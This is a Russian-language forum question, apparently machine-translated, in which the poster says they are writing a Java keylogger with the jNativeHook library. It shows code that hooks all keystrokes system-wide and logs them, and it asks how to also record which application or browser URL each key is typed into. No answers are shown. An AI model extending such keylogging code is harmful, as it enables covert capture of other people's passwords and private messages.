Как обнаружить программное обеспечение, запрессованное в Java

Я делаю программное обеспечение кейлоггер, и я хочу обнаружить набранную клавишу, а также определить, где эта клавиша нажата. как я хочу вести учет программного обеспечения, в котором оно нажата. Точно так же, как клавиша нажата в Google Chrome и в каком URL она нажата, или клавиша нажата в скайпе или любом другом программном обеспечении, поэтому я хочу сохранить запись об этом тоже.

мой код приведен ниже:

try {
                GlobalScreen.registerNativeHook();
                GlobalScreen.addNativeKeyListener(new NativeKeyListener() {
                    @Override
                    public void nativeKeyTyped(NativeKeyEvent nke) {

                    }
                    @Override
                    public void nativeKeyPressed(NativeKeyEvent nke) {
                        loopend =true;
                        String keytext = NativeKeyEvent.getKeyText(nke.getKeyCode());
                        if(!"\\n".equals(keytext)){
                            System.out.println("Key Pressed: "+ keytext);  
                            list.add(keytext);

                        }else{
                        for(String a: list){
                            System.out.println(a);
                        }
//                        System.exit(0);
                        }
                    }
                    @Override
                    public void nativeKeyReleased(NativeKeyEvent nke) {

                    }
                });
            } catch (NativeHookException ex) {
                System.out.println(ex);
            }
//        }
        loopend = false;

Я использую библиотеку jNativeHook

0 ответов

Другие вопросы по тегам